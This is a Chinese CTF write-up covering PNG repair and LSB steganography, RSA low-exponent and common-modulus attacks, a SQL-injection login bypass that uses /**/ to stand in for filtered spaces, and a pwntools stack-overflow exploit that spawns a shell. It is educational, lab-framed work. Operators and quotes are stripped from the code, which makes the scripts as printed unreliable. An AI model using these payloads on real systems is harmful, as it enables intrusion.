1. 先說說我為什么只寫了這幾道題BACKDOOR2025 是某安全社區(qū)在年初辦的線上CTF題目難度整體不算變態(tài)但分類很全MISC、Crypto、Web、Reverse、PWN 都上了。比賽時(shí)長 48 小時(shí)周日晚上結(jié)束周一我還要上班所以我的策略是先把能穩(wěn)定拿分的 MISC 和 Crypto 清掉再去啃 Web 和 PWNReverse 這種耗時(shí)間的放到最后。最后停下來盤點(diǎn)一共解出 7 道這篇題解挑了 4 道最有代表性的寫。為什么不全部寫出來原因很實(shí)在有幾道題是靠爆破和運(yùn)氣試出來的解題路徑根本沒法復(fù)現(xiàn)寫出來除了證明我試了很多次以外沒有任何價(jià)值還有一道 Reverse 題我做到了最后一步但是 flag 格式死活不對官方也沒放 writeup我到現(xiàn)在都沒想明白。剩下這些題每一道都有清晰的從觀察到結(jié)論的推理過程適合拿出來講透。另外如果你也是剛開始玩 CTF我想先給你一個定心丸這場比賽的簽到題和初級題就是 MISC 和 Crypto 里最經(jīng)典的套路你把我下面寫的解法跑通一遍基本就能摸清這兩個方向的常見玩法了。Web 和 PWN 那兩題需要一點(diǎn)前置知識我會盡量把原理拆開講。2. MISC題一張風(fēng)景照里藏了兩層信息2.1 題目回顧與拿到文件后的第一反應(yīng)題目叫破碎的風(fēng)景下載下來是一張 PNG名字是broken_scenery.png文件大小 1.4MB看著沒問題一打開就露餡了——圖片只有上半部分是風(fēng)景下半部分是灰的。這種題目十有八九是 PNG 的寬高信息被動了手腳圖片顯示不全但像素?cái)?shù)據(jù)其實(shí)還在里面。我的習(xí)慣是先丟進(jìn) 010 Editor 看文件結(jié)構(gòu)順便用binwalk掃一下有沒有附加數(shù)據(jù)。當(dāng)時(shí)binwalk沒掃出什么明顯的壓縮包倒是 010 Editor 里 IHDR 塊的數(shù)據(jù)讓我起了疑心。PNG 文件開頭的結(jié)構(gòu)是固定的8 字節(jié)簽名然后是 IHDR 數(shù)據(jù)塊里面按順序存寬度、高度、位深、顏色類型等。我把高度那段改了改圖片就能拉長但拉長之后 CRC 校驗(yàn)又報(bào)錯——這說明高度確實(shí)被改過而且出題人沒有重新計(jì)算 CRC而是把正確的 CRC 留在了文件里。2.2 修復(fù)PNG寬高用CRC反推正確高度PNG 的每個數(shù)據(jù)塊尾部都有 4 字節(jié) CRC 校驗(yàn)它由塊類型名 塊數(shù)據(jù)計(jì)算而來。出題人如果把高度改成一個小值但沒有同步修改 CRC那么校驗(yàn)值里就藏著真實(shí)高度的信息。所以解法很直接枚舉高度每試一個值就算一遍 CRC和文件里已有的 CRC 比對匹配的那一個就是原始高度。這里貼一下我當(dāng)時(shí)用的腳本邏輯很簡短import struct import zlib data open(broken_scenery.png, rb).read() # IHDR塊從文件偏移8開始寬度在12~16高度在16~20 # 改的是高度字段需要連同后面的CRC一起重算 for h in range(1, 4096): new_data data[:16] struct.pack(I, h) data[20:] crc zlib.crc32(new_data[12:29]) 0xffffffff if crc struct.unpack(I, data[29:33])[0]: print(correct height:, h) open(fixed_scenery.png, wb).write(new_data) break跑出來的高度是 1024原文件顯示的高度只有 256。把修復(fù)后的圖片重新打開下半部分露出了一行字the real message is in the blue pixel?？吹竭@行字基本可以確定是 LSB 隱寫了。2.3 為什么修復(fù)寬高這類題總讓人卡住很多人拿到這種改壞的 PNG第一反應(yīng)是拿工具直接顯示全部或者盲目改寬高然后保存結(jié)果圖片花了一片。關(guān)鍵點(diǎn)是PNG 的 CRC 不是擺設(shè)你只改高度不重新計(jì)算 CRC圖片查看器會直接拒絕加載或者干脆顯示損壞。反過來想這也給了我們一個突破口——CRC 算出來不對說明一定有某個隱藏的正確值存在而這個值往往就是原始參數(shù)。這個小技巧在比賽里出現(xiàn)頻率不低不只是 PNGGIF 和 BMP 有時(shí)候也會被人修改頭部字段做文章。核心思路就一句話不要相信顯示出來的內(nèi)容文件頭結(jié)構(gòu)才是唯一可信的。2.4 LSB隱寫的原理和提取腳本LSB 隱寫全稱 Least Significant Bit本質(zhì)是利用人眼對顏色細(xì)微變化不敏感這個特性。24 位真彩色圖片里一個像素的紅、綠、藍(lán)三個通道各占 8 位把每個通道最低的那一位換成信息位顏色的變化幅度只有 1/255肉眼根本分辨不出來。題目提示the real message is in the blue pixel那就是只取藍(lán)色通道的最低位。我用 Python 的 PIL 庫寫了個提取腳本from PIL import Image img Image.open(fixed_scenery.png) pixels img.load() bits [] for y in range(img.height): for x in range(img.width): r, g, b pixels[x, y][:3] bits.append(b 1) # 8個bit拼一個字節(jié)直到遇到不可見字符為止 flag_bytes bytearray() for i in range(0, len(bits) - 7, 8): byte 0 for j in range(8): byte (byte 1) | bits[i j] if 32 byte 126: flag_bytes.append(byte) else: break print(flag_bytes.decode())跑出來是一串 Base64再解一層就得到了 flag。這種先修圖再隱寫的嵌套套路在今年的 MISC 題里很常見本質(zhì)是考驗(yàn)?zāi)銜粫讯鄠€基礎(chǔ)技能串起來用。3. Crypto題e3引發(fā)的連鎖反應(yīng)3.1 題目給了什么以及我當(dāng)時(shí)怎么看參數(shù)這道題叫低指數(shù)之痛附件里只有一個文本文件三行內(nèi)容n、e、c。n 是一個 1024 位的質(zhì)數(shù)乘積e 是 3c 是大整數(shù)。文本末尾附了一句提示maybe i should hide it better。我拿到手第一件事就是統(tǒng)計(jì) n 和 c 的位數(shù)。用 Python 跑一下len(bin(c))發(fā)現(xiàn) c 只有 286 位而 n 有 1024 位。這個數(shù)字差異很關(guān)鍵——它說明密文本身的數(shù)值遠(yuǎn)小于模數(shù) n。再看 e 是 3整個題目幾乎是在明著告訴你這就是非對稱加密里最經(jīng)典的低加密指數(shù)攻擊。3.2 直接對密文開三次方RSA 加密過程可以簡化為 c m^e mod n。如果 m^e 的結(jié)果比 n 小那么模運(yùn)算實(shí)際上沒有發(fā)生c 就是 m^3 本身。這時(shí)候解 m 只需要對 c 開三次方根跟 RSA 的參數(shù) p、q、n 全都無關(guān)。我用的腳本就幾行核心是gmpy2的iroot函數(shù)from gmpy2 import iroot from Crypto.Util.number import long_to_bytes # 從題目文本中提取 n, e, c task open(task.txt, rb).read().decode() n int(task.split(n )[1].split(\n)[0]) e 3 c int(task.split(c )[1].strip()) m, exact iroot(c, 3) assert exact, m^3 超過了 n需要其他思路 print(long_to_bytes(m).decode())iroot返回兩個值第一個是整數(shù)根第二個是布爾值表示是否開方成功。判斷exact為 True說明 c 確實(shí)是某個整數(shù)的三次方直接轉(zhuǎn)字節(jié)就是明文。跑出來是一段可讀文本里面藏著 flag。3.3 為什么e3會有這種問題很多剛開始看 RSA 的同學(xué)會不理解低指數(shù)到底低在哪里。這里的關(guān)鍵不是 e 本身小而是m 的 e 次方與 n 的大小關(guān)系。如果明文 m 很短m^3 可能只有幾百位而 n 是上千位的模數(shù)這時(shí)加密過程退化成普通乘方什么大數(shù)分解、私鑰推導(dǎo)全都不需要了攻擊者拿到 c 就能還原 m。作為防御一方正確做法是使用足夠大的隨機(jī)填充方案比如 OAEP讓填充后的明文長度接近模數(shù)長度這樣即使 e 很小m^e 也會超過 n從而觸發(fā)模運(yùn)算阻斷這類攻擊。CTF 的出題人常常故意省略這一步就是為了讓你看到算法在錯誤使用時(shí)的脆弱面。3.4 順著這個思路再延伸一步共模攻擊比賽里還有一道 Crypto 題我沒寫詳細(xì)題解但可以在這里提一嘴它給的是兩組密文n 完全相同e 分別是 3 和 5。這種結(jié)構(gòu)就是 RSA 的共模攻擊場景。因?yàn)閮蓚€ e 互質(zhì)存在整數(shù) a、b 滿足 3a5b1利用擴(kuò)展歐幾里得算法算出 a、b 后明文就能通過兩個密文的冪次相乘得到。這個原理和低指數(shù)攻擊同屬RSA 參數(shù)使用不當(dāng)如果你把這題吃透了再看那題只會覺得思路是相通的。簡單貼一下共模攻擊的核心片段def egcd(a, b): if b 0: return (a, 1, 0) g, x, y egcd(b, a % b) return (g, y, x - (a // b) * y) _, s1, s2 egcd(e1, e2) if s1 0: m pow(c1, -s1, n) * pow(c2, s2, n) % n else: m pow(c1, s1, n) * pow(c2, -s2, n) % n注意 s1 或 s2 可能是負(fù)數(shù)此時(shí)對應(yīng)的冪次需要先求模逆元這個細(xì)節(jié)很多新手會踩坑我當(dāng)年就在這里卡過一晚上。4. Web題登錄框的過濾只是紙糊的4.1 題目很樸素但提示藏在源碼里Web 題叫過濾登錄打開就是一個居中登錄框兩個輸入項(xiàng)username 和 password沒有任何驗(yàn)證碼。查看網(wǎng)頁源碼發(fā)現(xiàn)一行注釋!-- username: admin --這幾乎就是在告訴我們賬號是 admin。接下來就是測密碼。這個題沒有把密碼藏在響應(yīng)里讓你找而是走登錄繞過路線。我打開 Burp Suite 抓包把請求轉(zhuǎn)發(fā)到 Repeater 里手動改參數(shù)。第一輪測試先隨便填 admin/123456服務(wù)器返回login failed。然后我在 username 后面加了一個單引號改成admin服務(wù)器直接返回了 500 錯誤邏輯很明顯它的 SQL 拼接沒做參數(shù)化屬于字符串拼接型注入點(diǎn)。4.2 空格被過濾真正卡住我的地方知道是 SQL 注入后第一反應(yīng)就是構(gòu)造經(jīng)典的萬能密碼。我提交admin or 11 -- -響應(yīng)卻是invalid character: space——它把空格直接過濾了。這個過濾其實(shí)很初級只擋了空格字符沒擋其他東西。SQL 里表達(dá)空格的方式比大多數(shù)人想象的多。MySQL 的內(nèi)聯(lián)注釋/**/完全可以替代空格還能把關(guān)鍵詞拆開避免關(guān)鍵字過濾。我構(gòu)造了這樣的 payloadadmin/**/or/**/11##在 MySQL 里是注釋符把它放在末尾能吃掉后面的引號讓 SQL 語句完整閉合。具體拼接出來大概是SELECT * FROM users WHERE username admin/**/or/**/11# AND password xxx這里的/**/被 MySQL 當(dāng)成一個不可見的空白整個條件變成了usernameadmin or 11恒為真登錄自然就通過了?；剀嚭蠓?wù)器返回了一個 token是一個 UUID 樣式的字符串。帶著這個 token 去訪問/flag接口直接把 flag 打印了出來。4.3 從出題人角度聊聊這個過濾為什么不夠這個題不是爆破題它考的是對 SQL 語法細(xì)節(jié)的熟悉程度。只用/**/代替空格本質(zhì)上是因?yàn)檫^濾規(guī)則太死板。如果出題人再嚴(yán)格一點(diǎn)把or、and、#、/**/全部過濾那這個繞過就不好使了需要走報(bào)錯注入或者時(shí)間盲注的路子。站在學(xué)習(xí)角度我覺得這種題的價(jià)值在于讓你意識到手動測試永遠(yuǎn)不要只試一個 payload 就放棄。我當(dāng)時(shí)至少試了七八種組合包括制表符、換行符、%09、括號才確定空格是唯一被攔截的字符。比賽里過濾通常是局部過濾真正的全防護(hù)極少見因?yàn)槌鲱}人也要控制難度。當(dāng)然我們做這類題目的前提是目標(biāo)處于比賽官方搭建的靶場環(huán)境中屬于明確授權(quán)的安全測試。把它當(dāng)成一個語法游戲來玩重點(diǎn)不在如何攻破真實(shí)系統(tǒng)而是理解 SQL 注釋、布爾邏輯和拼接漏洞的本質(zhì)。5. Pwn題從checksec到拿到shell的一次棧溢出5.1 一道名字像簽到題的PwnPwn 題叫echo_secret用題目描述猜大概率是一個讀取輸入并回顯的程序。我下載下來用file命令看了一眼是 64 位 ELF沒加殼。按老規(guī)矩先跑一遍checksecArch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE看到No canary和No PIE我心里就有底了這是一個典型的入門級棧溢出題返回地址是固定的且返回地址前面沒有金絲雀隨機(jī)值保護(hù)直接覆蓋就行。5.2 在IDA里找到那扇后門用 IDA 打開程序反匯編很快就能定位到主函數(shù)。主函數(shù)邏輯很簡單打印一個提示然后調(diào)用gets讀入輸入再調(diào)用printf輸出。我在函數(shù)列表里還看到一個名為secret_backdoor的函數(shù)這個函數(shù)體內(nèi)部直接執(zhí)行了system(/bin/sh)?？吹竭@里題目名字瞬間就明白了——它把后門直接寫在題目里了。我們的目標(biāo)就是把程序的控制流改道讓它在返回時(shí)跳到secret_backdoor。拿到函數(shù)地址后我記下0x401216。程序沒開 PIE這意味著這個地址在每次運(yùn)行時(shí)都是固定的不需要先泄露任何基址。5.3 算偏移這一步絕對不能猜接下來最關(guān)鍵的是確定輸入緩沖區(qū)到返回地址的距離。常見做法是用cyclic生成一串有規(guī)律的字符把它當(dāng)作輸入發(fā)給程序等程序崩了以后再看崩潰時(shí)的返回地址用cyclic的逆過程算出偏移。我的操作過程是這樣的cyclic 200 payload.txt (python3 -c import sys; sys.stdout.buffer.write(open(payload.txt,rb).read()) | ./echo_secret)程序崩潰后gdb 提示 rip 落在了0x6261616b附近把這個值丟給cyclic -l輸出 28。也就是說從緩沖區(qū)開頭到返回地址位置一共需要填充 28 字節(jié)的數(shù)據(jù)前 20 字節(jié)是緩沖區(qū)本身再往后的 8 字節(jié)是保存的?；返?28 字節(jié)起才是真正的返回地址。5.4 構(gòu)造payload并本地驗(yàn)證有了地址和偏移payload 就很簡單了。用 pwntools 寫 expfrom pwn import * context.arch amd64 p process(./echo_secret) offset 28 backdoor_addr 0x401216 payload bA * offset p64(backdoor_addr) p.sendline(payload) p.interactive()發(fā)送后終端直接進(jìn)入了交互式 shell。我敲了一句cat flag.txtflag 立刻輸出。整個流程從 checksec 到 getshell加上寫腳本的時(shí)間不超過十五分鐘。5.5 這個流程為什么對新手友好這道題之所以適合寫進(jìn)題解是因?yàn)樗暾故玖?Pwn 入門最核心的路徑先看保護(hù)再找后門再算偏移最后構(gòu)造 payload。很多新手上來就想著怎么打忽略了 checksec 這一步結(jié)果在開了 canary 的題里反復(fù)撞墻根本不知道問題出在哪。順便說一句gets這個函數(shù)本身就是高危函數(shù)它不對輸入長度做任何限制在真實(shí)代碼里早就不應(yīng)該出現(xiàn)了。但在 CTF 里它成了出題人最順手的一個開關(guān)因?yàn)橹灰绦蛞昧怂浜虾箝T函數(shù)就能拼出一大票經(jīng)典題。6. 這場比賽真正教會我的幾件事6.1 時(shí)間分配比技術(shù)本身更重要上次打比賽我吃過虧一道 Reverse 題死磕了六個小時(shí)最后發(fā)現(xiàn)是動態(tài)調(diào)試時(shí)機(jī)不對浪費(fèi)了整個下午。這次我給自己定的目標(biāo)很明確先做 MISC 和 Crypto 保底再花兩個下午去剛 Web 和 PWN剩下時(shí)間能看多少 Reverse 看多少。最后結(jié)果證明這個策略是對的兩個保底方向基本沒失手Web 和 PWN 各拿下一條。比賽里的分?jǐn)?shù)不是按照你花了多少小時(shí)來給的而是按照你解出了哪道題來給的。一道題一旦卡住超過四十分鐘我的建議是立刻換題回頭再看可能只需要十分鐘。6.2 工具的定位要清楚這次比賽我用的工具其實(shí)不多010 Editor 看文件結(jié)構(gòu)、Stegsolve 看通道、binwalk 分離文件、Burp Suite 改包、IDA 做靜態(tài)分析、pwntools 打本地驗(yàn)證。每個工具的作用都很單一但組合起來覆蓋了絕大部分題型。有一點(diǎn)我想特別提醒不要迷信工具。binwalk 沒掃出來的內(nèi)容不代表文件末尾就是干凈的SQLMap 的自動模式跑不出結(jié)果不代表注入點(diǎn)不存在。工具是輔助判斷的真正決定你能不能解出題目的是你腦子里那套如何觀察-如何假設(shè)-如何驗(yàn)證的思維流程。6.3 復(fù)盤時(shí)多問一個為什么這四道題如果只看解題過程都是標(biāo)準(zhǔn)的 CTF 家常菜。但我每做完一題都會追問一句這個漏洞在真實(shí)場景下對應(yīng)什么問題LSB 隱寫對應(yīng)的是無感信息嵌入RSA 低指數(shù)對應(yīng)的是密碼參數(shù)使用不規(guī)范SQL 注入對應(yīng)的是外部輸入未處理直接拼接棧溢出對應(yīng)的是危險(xiǎn)函數(shù)調(diào)用。如果把每一道 CTF 題都翻譯成真實(shí)世界的一個問題積累幾年之后你會發(fā)現(xiàn)自己不是在刷題而是在建立一張安全知識的結(jié)構(gòu)化地圖。關(guān)于這篇題解最后想說的BACKDOOR2025 的題目整體質(zhì)量不錯難度梯度做得比較合理簽到題和進(jìn)階題之間沒有突然斷檔。如果你打算拿它練手我建議你優(yōu)先把這篇提到的四類題目都做一遍MISC 修圖加隱寫、RSA 低指數(shù)、SQL 注入繞過、棧溢出 getshell它們幾乎是所有主流 CTF 比賽的地基題。做完之后你會猛然發(fā)現(xiàn)再遇到類似題目第一步該干什么、該懷疑哪塊完全不用猶豫。比賽結(jié)束那天晚上我本來還想再戰(zhàn)幾道 Reverse 題結(jié)果官方準(zhǔn)時(shí)關(guān)服只好作罷。如果你也參加了這場比賽或者正在刷別的 CTF 練習(xí)題歡迎按這套思路試著復(fù)現(xiàn)。解出 flag 的那一瞬間你會覺得前面所有踩過的坑都是值得的。